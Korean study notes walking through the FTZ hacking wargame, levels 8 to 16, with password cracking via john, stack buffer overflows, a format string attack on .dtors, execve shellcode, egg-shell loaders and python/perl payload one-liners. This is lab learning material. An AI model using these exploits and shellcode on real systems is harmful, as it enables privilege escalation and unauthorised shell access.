[참고]

 

닶은 없고

문제 풀이를 위한

키워드만 적어둠

 

 

 


 

 

 

level8

 

$ find / -type f -size 2700c 2>/dev/null

$ cat /etc/rc.d/found.txt | sort -u | grep -v '^$' > tmp/passwd.txt

$ john --show /root/hackme/john/run/passwd.txt | grep level9 | awk -F: '{print $1 " : " $2}'

 

 

 

 


 

 

 

Level9 : 취약점 분석

 

 

1. /usr/bin/bof 프로그램은 buf[10] 크기(sizeof(buf))가 10bytes로 되어 있는데,

입력으로 넣을 수 있는 크기(fgets(buf, 40, stdin))는 40bytes 만큼 입력할 수 있다.

따라서, 30bytes 만큼의 Buffer Overflow 할 수 있는 것을 확인할 수 있었다.

 

2. /usr/bin/bof 소스코드 분석 결과 buf[10] 공간에 garbage data 16 bytes(buf[10] + dumy[6])

를 넣고 그 뒤에 go를 넣으면 buf2[10]의 2bytes 부분이 go로 저장된다는 것을 확인할 수 있었다.

이를 이용해서 다음 레벨의 권한을 얻을 수 있는 취약점이 존재한다.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

main()
{

        char buf2[10];
        char buf[10];

        printf("It can be overflow : ");
        fgets(buf, 40, stdin);

        printf("&buf=0x%x, &buf2=0x%x\n", buf, buf2);   <--- 라인추가

        if(strncmp(buf2, "go", 2) == 0)
        {
                printf("Good Skill!\n");
                setreuid(3010, 3010);
                system("/bin/bash");
        }
}

 

[level9@ftz tmp]$ gcc -o bof bof.c ($ gcc -ggdb -o bof bof.c)

[level9@ftz tmp]$ ./bof

It ca be overflow : AAAA

&buf=0xbffff760, &buf2=0xbffff770


0xbffff770 - 0xbffff760 = 0x00000010 => 16bytes 만큼 떨어져 있다.

 

(주의) 스택은 높은 주소에서 낮은 주소로 저장이 된다.

 

[스택의 구조]

<--- 스택이 증가 방향

--------------------------------------------------------------+

10_______6_____ 10_______ 14 ____4 ___4 |

buf[10]_dummy_buf2[10]_dummy_SFP_ RET |

--------------------------------------------------------------+

<--- 낮은 메모리 주소____________ 높은 메모리 주소 --->

 

 

[스택의 구조]

<--- 스택이 증가 방향

-----------------------------------------------------------

10 ______________6 _______10 _______14______ 4 4

buf[10]________dummy__ buf2[10]___ dummy SFP RET

AAAAAAAAAA BBBBBB____ go

-----------------------------------------------------------

<--- 낮은 메모리 주소 높은 메모리 주소 --->

 

 

 

 


 

 

 

Level10

: shared memory

 

 

// 사용법 
#include <stdio.h>
#include <sys/shm.h>
#include <sys/types.h>

#define BUFFSIZE 1024

int main()
{
        void *sharedMemory=(void *)0;
        int sharedMemID;
        char buf[BUFFSIZE]; //캐릭터 형태의 버퍼공간
        key_t keyval=7530;

        // 공유 메모리의 ID를 읽어 온다. 0666은 퍼미션
        sharedMemID=shmget(keyval, BUFFSIZE, 0666);

        // 프로세스에서 공유 메모리 공간을 사용할 수 있게 연결(Attach) 한다.
        sharedMemory=shmat(sharedMemID, (void *)0, 0);

        // 공유 메모리 공간에 있는 값을 특정 변수에 복사한다.
        memcpy(buf, sharedMemory, BUFFSIZE);
        printf("%s", buf);

        // 프로세스에서 공유 메모리의 연결을 분리(Detach)한다.
        shmdt(sharedMemory);

        return 0;
}


// 예제
#include <stdio.h>
#include <unistd.h>
#include <sys/ipc.h>
#include <sys/shm.h>

int main()
{
        int shmid;
        void *shmaddr = (void *)0;
        char buf[1024];

        shmid = shmget(7530, 1024, 0666);
        shmaddr = shmat(shmid, NULL, 0);
        memcpy(buf, shmaddr, 1024);
        printf("%s \n", buf);
        shmdt(shmaddr);
        return 0;
}



or



#include <sys/shm.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
// man shmget

/* Global Variable */

/* Function */

/* Main Functtion */
int main(void)
{
    int shm_id;
    void *shm_addr = (void *)0;
    char buf[1024];

    // (1) Approach Memory address shmget
    shm_id = shmget(7530, 1024, 0666);

    // (2) to Approach to target shmat
    shm_addr = shmat(shm_id, (void *)0, 0);

    // (3) Copy memory memcpy
    memcpy(buf, shm_addr, 1024);
    printf("Content : %s\n", buf);

    // (4) dettach shmdt
    shmdt(shm_addr);

    return 0;
}


==============================================


//추가

/* Header Files */
#include <sys/ipc.h>
#include <sys/shm.h>
#include <stdio.h> // printf
#include <unistd.h> //exit man2 exit

/* Global Variable */

/* Function */

/* Main Function */
int main(void)
{
    int shm_id; 
    void *shm_addr = (void *)0;

    // (1) Create Shared Memory
    shm_id = shmget((key_t)9000, 1024, IPC_CREAT|0666);
    if (shm_id == -1)
    {
        printf("Shared memory cat't be created.");
        exit(1);
    }

    // (2) Attach
    shm_addr = shmat(shm_id, (void *)0, 0);
    if(shm_addr == (void *)-1)
    {
        printf("Shared memory can't attach.");
        exit(2);

}
    // (3) Message
    strcpy(shm_addr, "Memory Testing Message.");


    // (4) Detach
    shmdt(shm_addr);


    return 0;
}

 

 

 

 


 

 

 

Level11 : FSB 

 

 

%n : 포맷 스트링 오류를 이용해 공격하는 것을 FSB attack이라 한다.

 

strcpy 함수 : NULL 문자 전까지의 문자열을 복사하는 함수.

취약점으로 문자열 길이를 검사하지 않기 때문에 버퍼의 크기보다 큰 문자열이

들어갈 경우 오퍼 플로우 현상이 생긴다.

정해진 버퍼의 크기를 넘길 경우를 대비한 방어책이 안 되어 있다면

입력 문자열을 이용해 RET값 변조가 가능하다.

 

 

 

------------------

 

 

segment fault 확인

[level11@ftz level11]$ ./attackme

세그멘테이션 오류 /* Segmentation fault */

 

잘못된 주소를 포인트하기 때문에 segment fault 발생했다.

인자가 없으면 argv[1] 안에는 gabage 값이 들어 있기 때문에

그 값이 str 복사되면 segment fault 발생한다.

 

 

int * %n 이전까지 쓴 문자열의 바이트 수 쓰기

 

printf(“AAAA%n”, &j) 4바이트를 j라는 주소에 넣어라 라는 뜻. &는 주소.

특정한 주소에 값을 지정해 넣을 수 있는 기능

 

printf("%바이트수c%n", j, &i);

printf("%1000d%n", j, &i); %d, %n 두가지 포맷스트링을 썼으니 두 군데.

1000d의 공간을 확보했다. 하나당 1바이트.

I의 주소안에 1000을 집어 넣어라.

j = 5

(“%5d, j“) = 오른쪽 정렬해서 넣는다.

 

(주의) 포맷 스트링관 관련된 코드를 볼때 단순히 화면에 출력되는 값뿐 아니라

메모리에 실제로 어떤 값이 저장되어 있는지도 염두해 두어야 한다.

 

-----------------------------

 

 

[공격 순서]

1. segment fault 확인

 

 

2. stack 내용 확인 : AAAA(41414141) 보여질때까지 "AAAA %8x"

(보여지면 FSB 존재여부를 알 수 있다)

 

 

3. 쉘코드 만들기

: 메모리 안에 쉘 코드를 실행하고 쉘 주소값을 리턴하는 코드

(에그쉘, 에그헌터 등으로 부른다)

 

eggshell

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define DEFAULT_OFFSET 0
#define DEFAULT_ADDR_SIZE 8
#define DEFAULT_BUFFER_SIZE 512
#define DEFAULT_SUPERDK_SIZE 2048
#define NOP 0x90


char shellcode[] =
 "\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
 "\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80";

unsigned long get_sp(void)
{
        __asm__("movl %esp, %eax");
}

int main(int argc, char **argv)
{
        char *ptr, *superSH;
        char shAddr[DEFAULT_ADDR_SIZE + 1];
        char cmdBuf[DEFAULT_BUFFER_SIZE];
        long *addr_ptr,addr;
        int offset=DEFAULT_OFFSET;
        int i, supershLen=DEFAULT_SUPERDK_SIZE;
        int chgDec[3];

        if(!(superSH = malloc(supershLen))) //2048
        {
                printf("Can't allocate memory for supershLen");
                exit(0);
        }

        addr = get_sp() - offset;
        printf("Using address: 0x%x\n", addr);

        ptr = superSH;
        for(i=0; i<supershLen - strlen(shellcode) - 1; i++)
                *(ptr++) = NOP;

        for(i=0; i<strlen(shellcode); i++)
                *(ptr++) = shellcode[i];

        superSH[supershLen - 1] = '\0';

        memcpy(superSH, "SUPERDK=", DEFAULT_ADDR_SIZE);
        putenv(superSH);

        system("/bin/bash");
}

 

getenv

#include <stdio.h>

        int main()
        {
            printf("SUPERDK's addr=%p\n", getenv("SUPERDK"));
        }

 

 

 

 

 

4. 공격시 사용할 두 가지 주소 확인

%n 포맷 스트링 지시자가 특정한 주소에 있는 값을

다른 값(주소)로 변경할 때 사용하기 때문에

공격시 사용되는 주소가 2개 있다.

 

(첫번째 주소) 공격 하려는 주소 => nm 명령어를 이용하여 소멸자(destructor) 주소 확인

[level11@ftz level11]$ nm /home/level11/attackme | head

0804953c D _DYNAMIC

08049614 D _GLOBAL_OFFSET_TABLE_

08048524 R _IO_stdin_used

08049608 d __CTOR_END__ /* 생성자(constructor) */

08049604 d __CTOR_LIST__

08049610 __DTOR_END__ /* 소멸자(destructor) */ 이 주소를 우리 주소 값으로 바꾼다.

0804960c d __DTOR_LIST__

08049538 d __EH_FRAME_BEGIN__

08049538 d __FRAME_END__

0804963c A __bss_start

 

-> main() 함수가 종료되는 시점에 소멸자가 호출된다.

소멸자 역할을 수행하는 함수를 쉘코드로 흐름을 바꿀 수 있다면 쉘이 떨어지게 된다.

-> 소멸자의 주소가 08049610임을 알수 있다.

값을 변조해서 실행 흐름을 바꿀수 있는 주소는 __DTOR_END__(08049610)이다.

따라서 0x08049610 주소를 쉘코드의 실행 주소로 써야 한다.

 

 

(두번째 주소) 쉘코드 실행 주소

: eggshell + getenv 프로그램으로 쉘코드 주소 확인

 

 

 

5. 공격 구문

$(printf "AAAA\주소1BBBB주소2")%8x%8x%8x%숫자1c%n%숫자2c%n

 

./attackme

$(printf "AAAA\x10\x96\x04\x08BBBB\x12\x96\x04\x08") \

%8x%8x%8x%62585c%n%52062c%n

 

 

 


 

 

Level12

 

 

 

우선 FSB가 있는지 확인해 보니 없다.

힌트를 보니 stack BOF 공격이 가능해 보임

 

 

gdb분석으로

스택상에 주어진 값 + 더미 공간 + SFP를

확인할 수 있느냐가 광건.

SFP를 넘어서는 순간부터 Segment Fault가 발생한다(RET부분)

 

 

그 경계 후에

실행시킬 에그쉘의 주소값을

추가로 넣어주면 공격에 성공한다.

 

 

$ ./egg

$ ./getenv ( egg쉘의 정확한 주소)

$ (python -c 'print "A"*268 + "\xd4\xf6\xff\xbf"';cat) |/home/level12/attackme

 

 

 

 

[공격 코드 패치 버전]

1. 쉘 코드 정의 : egg.c

2. 쉘 코드의 정확한 주소 확인 코드 : getenv.c

3. 공격 코드 super.c

4. 모듈 (함수)

 

 

super.c

 

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define NOP 0x90

char shellcode[] =
 "\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
 "\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80";

int main(int argc, char **argv)
{
        char *ptr, *superSH;
        int supershLen=2048;
        int i;

        if(!(superSH = malloc(supershLen)))
        {
                printf("Can't allocate memory for supershLen");
                exit(0);
        }

        ptr = superSH;
        for(i=0; i<supershLen - strlen(shellcode) - 1; i++)
                *(ptr++) = NOP;

        for(i=0; i<strlen(shellcode); i++)
                *(ptr++) = shellcode[i];

        superSH[supershLen - 1] = '\0';

        memcpy(superSH, "EGG=", 4);
        putenv(superSH);

        system("./super2");
}

 

 

super2.c

/* (1) header */
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

/* (2) global */
#define NOP 0x90

//char RET[] = "\xcc\xf4\xff\xbf";
char RET[4];

/* (3) function */
ConvertReturnAddress(char ReturnAddress[])
{
    char First[3];
    char Second[3];
    char Third[3];
    char Forth[3];

    First[0]=ReturnAddress[6];
    First[1]=ReturnAddress[7];
    First[2]='\0';
//  printf("%s\n", First);
    Second[0]=ReturnAddress[4];
    Second[1]=ReturnAddress[5];
    Second[2]='\0';
//  printf("%s\n", Second);
    Third[0]=ReturnAddress[2];
    Third[1]=ReturnAddress[3];
    Third[2]='\0';
//  printf("%s\n", Third);
    Forth[0]=ReturnAddress[0];
    Forth[1]=ReturnAddress[1];
    Forth[2]='\0';
//  printf("%s\n", Forth);

    RET[0]=strtol(First, NULL, 16);
    RET[1]=strtol(Second, NULL, 16);
    RET[2]=strtol(Third, NULL, 16);
    RET[3]=strtol(Forth, NULL, 16);
    RET[4]='\0';
}

/* (4) main function */
/* Attack Method : (perl -e 'print "A"*268,RET'; cat) | /home/level12/attackme */
int main()
{
        int retLen;
        char shellbuf[272];
        int i, j;
        char cmdbuf[350];
        char *env_pointer=NULL;
        unsigned long env_add_long=0x0;
        char ReturnAddress[9];

        // EGG address(Hex)
        // (Hex)bf ff f4 cc -> (str) cc f4 ff bf -> RET = (Hex) cc f4 ff bf
        env_pointer=getenv("EGG");
        env_add_long=(unsigned long) env_pointer;
//      printf("Hex : %lx\n", env_add_long);
        sprintf(ReturnAddress, "%lx", env_add_long);
//      printf("Str : %s\n", ReturnAddress);
//      printf("%c, %c\n", ReturnAddress[0], ReturnAddress[1]);

        ConvertReturnAddress(ReturnAddress);

        retLen = strlen(RET);
        for(i=0; i<sizeof(shellbuf)-retLen; i++)
                shellbuf[i] = NOP;
        for(j=0; j<retLen; j++)
                shellbuf[i++] = RET[j];
//      printf("%s\n", shellbuf);

        // (perl -e 'print "shellbuf"'; cat) | /home/level12/attackme
        sprintf(cmdbuf, "(perl -e \'print \"");
        strcat(cmdbuf, shellbuf);
        strcat(cmdbuf, "\"\'; cat) | /home/level12/attackme");
        strcat(cmdbuf, "\x0a");
//      printf("%s\n", cmdbuf);
        system(cmdbuf);

        return 0;
}

 

 

 

 


 

 

 

Level13

 

힌트 파일에 들어있는 코드에

한 줄을 추가해 i 와 buf의 주소값을 확인해보자

 

#include <stdlib.h>

main(int argc, char *argv[])
{
   long i=0x1234567;
   char buf[1024];

   printf("&i : 0x%x, &buf : 0x%x\n", &i, buf); //추가 라인
   
   setreuid( 3094, 3094 );
   if(argc > 1)
   strcpy(buf,argv[1]);

   if(i != 0x1234567) {
   printf(" Warnning: Buffer Overflow !!! \n");
   kill(0,11);
   }
}

 

&i : 0xbffff05c, &buf : 0xbfffec50

 

 

 

[공격코드]

 

Attack.c

 

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define NOP 0x90

char shellcode[] =
 "\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
 "\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80";

int main(int argc, char **argv)
{
        char *ptr, *superSH;
        int supershLen=2048;
        int i;

        if(!(superSH = malloc(supershLen)))
        {
                printf("Can't allocate memory for supershLen");
                exit(0);
        }

        ptr = superSH;
        for(i=0; i<supershLen - strlen(shellcode) - 1; i++)
                *(ptr++) = NOP;

        for(i=0; i<strlen(shellcode); i++)
                *(ptr++) = shellcode[i];

        superSH[supershLen - 1] = '\0';

        memcpy(superSH, "EGG=", 4);
        putenv(superSH);

        system("./Attack2");
}

 

 

 

Attack2.c

/* (1) header */
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

/* (2) global */
#define NOP 0x90

//char RET[] = "\xcc\xf4\xff\xbf";
char RET[4];
char stackgd[] = "\x67\x45\x23\x01";

/* (3) function */
ConvertReturnAddress(char ReturnAddress[])
{
    char First[3];
    char Second[3];
    char Third[3];
    char Forth[3];

    First[0]=ReturnAddress[6];
    First[1]=ReturnAddress[7];
    First[2]='\0';
//  printf("%s\n", First);
    Second[0]=ReturnAddress[4];
    Second[1]=ReturnAddress[5];
    Second[2]='\0';
//  printf("%s\n", Second);
    Third[0]=ReturnAddress[2];
    Third[1]=ReturnAddress[3];
    Third[2]='\0';
//  printf("%s\n", Third);
    Forth[0]=ReturnAddress[0];
    Forth[1]=ReturnAddress[1];
    Forth[2]='\0';
//  printf("%s\n", Forth);

    RET[0]=strtol(First, NULL, 16);
    RET[1]=strtol(Second, NULL, 16);
    RET[2]=strtol(Third, NULL, 16);
    RET[3]=strtol(Forth, NULL, 16);
    RET[4]='\0';
}

/* main function */
int main()
{
        int retLen;
        char shellbuf[1056]; /* NOPx1036 + StackGuard(4) + NOPx12 + RET(4) */
        int i, j;
        char *env_pointer=NULL;
        unsigned long env_add_long=0x0;
        char ReturnAddress[9];
        int stackGuardLen;

        // EGG address(Hex)
        // (Hex)bf ff f4 cc -> (str) cc f4 ff bf -> RET = (Hex) cc f4 ff bf
        env_pointer=getenv("EGG");
        env_add_long=(unsigned long) env_pointer;
//      printf("Hex : %lx\n", env_add_long);
        sprintf(ReturnAddress, "%lx", env_add_long);
//      printf("Str : %s\n", ReturnAddress);
//      printf("%c, %c\n", ReturnAddress[0], ReturnAddress[1]);

        ConvertReturnAddress(ReturnAddress);

        /* NOPx1036 + 0x01234567(4) + NOx12 + RET(4) = 1056 */
        stackGuardLen = strlen(stackgd);
        retLen = strlen(RET);
//      printf("StackGuardLen: %d, retLen: %d\n", stackGuardLen, retLen);

        for(i=0; i<1036; i++)          shellbuf[i]   = NOP;
        for(j=0; j<stackGuardLen; j++) shellbuf[i++] = stackgd[j];
        for(j=0; j<12; j++)            shellbuf[i++] = NOP;
        for(j=0; j<retLen; j++)        shellbuf[i++] = RET[j];
//        printf("%s\n", shellbuf);

        // Attack Method : /home/level12/attackme shellbuf
        // EX) ./attackme $(perl -e 'print "A"x1036,"\x67\x45\x23\x01","\xb8\xfa\xff\xbf"x20')
        execl("/home/level13/attackme", "attackme", shellbuf, 0);

        return 0;
}

 

 

 


 

 

 

Level14

 

[단원의 목적]

루틴 분기 키값의 이해

 

[루틴 분기 구문이 사용되는 예]

소프트웨어를 설치할 때 시리얼 키(Serial Key)/라이센스 키(License Key) 입력 받는 부분

 

[level14@ftz level14]$ cat hint
레벨 이후로는 의 문제를 그대로 가져왔습니다 14 mainsource .
버퍼 오버플로우 포맷스트링을 학습하는데는 이 문제들이 , 
최고의 효과를 가져다줍니다.
#include <stdio.h>
#include <unistd.h>
main()
{ int crap; // 정수형 변수 crap 선언
 int check; // 정수형 변수 check 선언
 char buf[20]; // 문자형 변수 buf에 20 바이트만큼 할당
 fgets(buf,45,stdin); // 45 , buf 바이트만큼 입력받고 내용은 변수에 저장
 if (check==0xdeadbeef) // check 0xdeadbeef 변수의 값이 일 경우 조건문 수행
 {
 setreuid(3095,3095); // uid 3095(level15) 실행되는 동안 uid를 level15 로 변경
 system("/bin/sh"); // /bin/sh 실행
 }
}

 

변수 check의 값이 0xdeadbeef 와 같을 경우 권한 상승과 함께 쉘을 띄워주게 됨

메모리상에서 check의 위치를 알아낸 뒤 0xdeadbeef로 수정하면 해결할 수 있다.

[level14@ftz level14]$ cp attackme ./tmp

[level14@ftz level14]$ cd tmp

[level14@ftz tmp]$ gdb -q attackme

(gdb) disassemble main

Dump of assembler code for function main:

0x08048490 <main+0>: push %ebp

0x08048491 <main+1>: mov %esp,%ebp

0x08048493 <main+3>: sub $0x38,%esp // 0x38 = 56바이트만큼의 공간 할당

0x08048496 <main+6>: sub $0x4,%esp

0x08048499 <main+9>: pushl 0x8049664

0x0804849f <main+15>: push $0x2d

0x080484a1 <main+17>: lea 0xffffffc8(%ebp),%eax // 0xffffffc8(%ebp) eax 값을 에 저장

0x080484a4 <main+20>: push %eax

0x080484a5 <main+21>: call 0x8048360 <fgets>

0x080484aa <main+26>: add $0x10,%esp

0x080484ad <main+29>: cmpl $0xdeadbeef,0xfffffff0(%ebp)

0x080484b4 <main+36>: jne 0x80484db <main+75>

0x080484b6 <main+38>: sub $0x8,%esp

0x080484b9 <main+41>: push $0xc17

0x080484be <main+46>: push $0xc17

0x080484c3 <main+51>: call 0x8048380 <setreuid>

0x080484c8 <main+56>: add $0x10,%esp

0x080484cb <main+59>: sub $0xc,%esp

0x080484ce <main+62>: push $0x8048548

0x080484d3 <main+67>: call 0x8048340 <system>

0x080484d8 <main+72>: add $0x10,%esp

0x080484db <main+75>: leave

0x080484dc <main+76>: ret

0x080484dd <main+77>: lea 0x0(%esi),

 

메모리 구성

 

buf[20] - dummy[?] - check[4] - dummy[?] - crap[4] - dummy[?] - SFP[4] - RET[4]

SFP 전까지 56

 

 

 

<main+17> 0xffffffc8 eax push fgets 에서 주소를 레지스터로 저장한 뒤

push 및 fgets 함수를 호출하는 것으로 보아 0xfffffff0은 check임을 알 수 있음.

 

<main+29> 0xfffffff0 0xdeadbeef 0xfffffff0 check 에서 와 를 비교하는 것으로 봤을 때

0xfffffff0은 check임을 알 수 있다.

따라서 buf부터 check시작 전까지의 크기는 0xfffffff0-0xffffffc8=28(10진수 40)byte

buf와 check 사이의 dummy 공간은 20이다.

 

 

 

buf[20] - dummy[20] - check[4] - dummy[?] - crap[4] - dummy[?] - SFP[4] - RET[4]

 

 

공격 방법 = [40비트 크기의 데이터] + [0xdeadbeef]

$ (python -c 'print "A"*40+"\xef\xbe\xad\xde"';cat)|/home/level14/attackme

 

 

 


 

 

Level15

 

 

[level15@ftz level15]$ cat hint
#include <stdio.h>
main()
{ int crap; // crap 정수형 변수 선언
  int *check; // check 정수형 포인터 변수 선언
  char buf[20]; // 문자형인 buf 변수에 20 바이트 할당
  fgets(buf,45,stdin); // 45 , buf 바이트만큼 입력받고 내용은 변수에 저장 
  if (*check==0xdeadbeef) // check 0xdeadbeef 포인터가 일 경우 조건문 수행
  {
    setreuid(3096,3096); // uid 3096(level16) 실행되는 동안 를 으로 변경
    system("/bin/sh"); // /bin/sh 실행
  }
}
 level14 check . attackme tmp 문제와 거의 동일하지만 변수를 포인터로 변경한 차이가 있음. 
디버깅 수행 전 파일을 폴더로 복사한 뒤 명령어를 이용하여 디버깅을 진행하자.

 

[level15@ftz level15]$ cp attackme ./tmp

[level15@ftz level15]$ cd tmp

[level15@ftz tmp]$ gdb -q attackme

(gdb) disassemble main

Dump of assembler code for function main:

0x08048490 <main+0>: push %ebp

0x08048491 <main+1>: mov %esp,%ebp

0x08048493 <main+3>: sub $0x38,%esp // 0x38 = 56바이트만큼의 공간 할당

0x08048496 <main+6>: sub $0x4,%esp

0x08048499 <main+9>: pushl 0x8049664

0x0804849f <main+15>: push $0x2d

0x080484a1 <main+17>: lea 0xffffffc8(%ebp),%eax // 0xffffffc8(%ebp) eax 값을 에 저장

0x080484a4 <main+20>: push %eax

0x080484a5 <main+21>: call 0x8048360 <fgets>

0x080484aa <main+26>: add $0x10,%esp

0x080484ad <main+29>: mov 0xfffffff0(%ebp),%eax

0x080484b0 <main+32>: cmpl $0xdeadbeef,(%eax)

0x080484b6 <main+38>: jne 0x80484dd <main+77>

0x080484b8 <main+40>: sub $0x8,%esp

0x080484bb <main+43>: push $0xc18

0x080484c0 <main+48>: push $0xc18

0x080484c5 <main+53>: call 0x8048380 <setreuid>

0x080484ca <main+58>: add $0x10,%esp

0x080484cd <main+61>: sub $0xc,%esp

0x080484d0 <main+64>: push $0x8048548

0x080484d5 <main+69>: call 0x8048340 <system>

0x080484da <main+74>: add $0x10,%esp

0x080484dd <main+77>: leave

0x080484de <main+78>: ret

0x080484df <main+79>: nop

End of assembler dump

 

 

문제의 해결 방법

 

어떻게 하면 *check 주소를 0xdeadbeef 값이 가리키는 주소로 표시할 수 있을까?

-> 0xdeadbeef 값은 어딘가에는 저장되어 있기 때문에 주소를 확인한다.

(gdb) x/10x 0x080484b0

0x80484b0 <main+32>: 0xbeef3881 0x2575dead 0x6808ec83 0x00000c18

0x80484c0 <main+48>: 0x000c1868 0xfeb6e800 0xc483ffff 0x0cec8310

0x80484d0 <main+64>: 0x04854868 0xfe66e808

 

or

(gdb) info registers

eax 0xbffff5e8 -1073744408

ecx 0x9 9

edx 0x4212e130 1108533552

ebx 0x42130a14 1108544020

esp 0xbffff5b0 0xbffff5b0

ebp 0xbffff5e8 0xbffff5e8

esi 0x40015360 1073828704

edi 0x8048520 134513952

eip 0x80484b0 0x80484b0

eflags 0x282 642

cs 0x23 35

ss 0x2b 43

ds 0x2b 43

es 0x2b 43

fs 0x0 0

gs 0x33 51

(gdb) x/4x 0x080484b0

0x80484b0 <main+32>: 0xbeef3881 0x2575dead 0x6808ec83 0x00000c18

(gdb) x/4x 0x080484b2

0x80484b2 <main+34>: 0xdeadbeef 0xec832575 0x0c186808 0x18680000

(gdb) quit

The program is running. Exit anyway? (y or n) y

 

$ (python -c 'print "A"*40 + "\xb2\x84\x04\x08"' ; cat) | ./attackme

 

 

 


 

 

 

Level16

 

 

문제의 해결 방법

[level16@ftz level16]$ cat hint

#include <stdio.h>

void shell() {

setreuid(3097,3097); // 실행되는 동안 uid를 3097(level17)로 변경

system("/bin/sh"); // /bin/sh 실행

}

void printit() {

printf("Hello there!\n");

}

main()

{ int crap; // crap 정수형 변수 선언

void (*call)()=printit; // printit 함수를 call 포인터에 저장

char buf[20]; // 문자형 buf 변수에 20 바이트만큼 할당

fgets(buf,48,stdin); // 48 바이트만큼 입력받고 내용은 buf 변수에 저장

call(); // call 함수 호출

}

 

 

[level16@ftz level16]$ cp attackme ./tmp

[level16@ftz level16]$ cd tmp

[level16@ftz tmp]$ gdb -q attackme

(gdb) disassemble main

Dump of assembler code for function main:

0x08048518 <main+0>: push %ebp

0x08048519 <main+1>: mov %esp,%ebp

0x0804851b <main+3>: sub $0x38,%esp // 56바이트 공간을 스택에 할당

0x0804851e <main+6>: movl $0x8048500,0xfffffff0(%ebp)

0x08048525 <main+13>: sub $0x4,%esp

0x08048528 <main+16>: pushl 0x80496e8

0x0804852e <main+22>: push $0x30

0x08048530 <main+24>: lea 0xffffffc8(%ebp),%eax

0x08048533 <main+27>: push %eax

0x08048534 <main+28>: call 0x8048384 <fgets>

0x08048539 <main+33>: add $0x10,%esp

0x0804853c <main+36>: mov 0xfffffff0(%ebp),%eax

0x0804853f <main+39>: call *%eax

0x08048541 <main+41>: leave

0x08048542 <main+42>: ret

0x08048543 <main+43>: nop

0x08048544 <main+44>: nop

0x08048545 <main+45>: nop

0x08048546 <main+46>: nop

0x08048547 <main+47>: nop

0x08048548 <main+48>: nop

0x08048549 <main+49>: nop

0x0804854a <main+50>: nop

0x0804854b <main+51>: nop

0x0804854c <main+52>: nop

0x0804854d <main+53>: nop

0x0804854e <main+54>: nop

---Type <return> to continue, or q <return> to quit---

0x0804854f <main+55>: nop

End of assembler dump

 

 

 

[스택 구조 파악하기]

 

hint 코드에 printf 구문을 추가하여 buf, call, crap의 주소를 확인한다.

[level16@ftz level16]$ cd tmp

[level16@ftz tmp]$ cat ../hint > distance.c

[level16@ftz tmp]$ vi distance.c

#include <stdio.h>

 

void shell() {

setreuid(3097,3097);

system("/bin/sh");

}

void printit() {

printf("Hello there!\n");

}

main()

{ int crap;

void (*call)()=printit;

char buf[20];

fgets(buf,48,stdin);

call();

printf("Input is : %s\n &buf : %p\n &call : %p \n &crap : %p\n", buf, buf, &call, &crap);

}

 

 

[level16@ftz tmp]$ gcc -o distance distance.c

[level16@ftz tmp]$ ./distance

Hello there!

 

Input is :

 

&buf : 0xbfffe820

&call : 0xbfffe848

&crap : 0xbfffe84c

 

buf와 call의 거리는 40, buf 의 크기는 20byte이므로

둘 사이의 dummy는 20byte / call과 crap의 거리는 4(더미없음)

 

스택 구조

buf[20] - dummy[20] - call[4] - crap[4] - dummy[8] - SFP[4] - RET[4]

 

 

(gdb) break *0x0804853f

Breakpoint 1 at 0x804853f

(gdb) run

Starting program: /home/level16/tmp/attackme

AAAA

 

Breakpoint 1, 0x0804853f in main ()

(gdb) x/16x $esp

0xbffff830: 0x41414141 0x4213000a 0xbffff858 0x080484b1

0xbffff840: 0x080495e0 0x080496ec 0x4001582c 0x080483fe

0xbffff850: 0x0804832c 0x42130a14 0x08048500 0x08048342

0xbffff860: 0x4200af84 0x42130a14 0xbffff888 0x42015574

 

(gdb) x/x 0x08048500

0x8048500 <printit>: 0x83e58955

 

(gdb) disassemble printit

Dump of assembler code for function printit:

0x08048500 <printit+0>: push %ebp

0x08048501 <printit+1>: mov %esp,%ebp

0x08048503 <printit+3>: sub $0x8,%esp

0x08048506 <printit+6>: sub $0xc,%esp

0x08048509 <printit+9>: push $0x80485c0

0x0804850e <printit+14>: call 0x80483a4 <printf>

0x08048513 <printit+19>: add $0x10,%esp

0x08048516 <printit+22>: leave

0x08048517 <printit+23>: ret

End of assembler dump.

 

buf 변수의 시작점부터 40 바이트 이후의 위치가 printit 함수의 시작점이.

print 함수 시작점을 shell 함수의 주소 값으로 바꾸면 공격에 성공하게 된다.

 

(gdb) disassemble shell

Dump of assembler code for function shell:

0x080484d0 <shell+0>: push %ebp

0x080484d1 <shell+1>: mov %esp,%ebp

0x080484d3 <shell+3>: sub $0x8,%esp

0x080484d6 <shell+6>: sub $0x8,%esp

0x080484d9 <shell+9>: push $0xc19

0x080484de <shell+14>: push $0xc19

0x080484e3 <shell+19>: call 0x80483b4 <setreuid>

0x080484e8 <shell+24>: add $0x10,%esp

0x080484eb <shell+27>: sub $0xc,%esp

0x080484ee <shell+30>: push $0x80485b8

0x080484f3 <shell+35>: call 0x8048364 <system>

0x080484f8 <shell+40>: add $0x10,%esp

0x080484fb <shell+43>: leave

0x080484fc <shell+44>: ret

0x080484fd <shell+45>: lea 0x0(%esi),%esi

End of assembler dump.

 

 

공격 방법 = [40비트 크기의 데이터] + [shell 함수의 시작점 주소]

$ (python -c 'print "A"*40 + "\xd0\x84\x04\x08"' ; cat) | ./attackme

 

 

728x90
반응형

+ Recent posts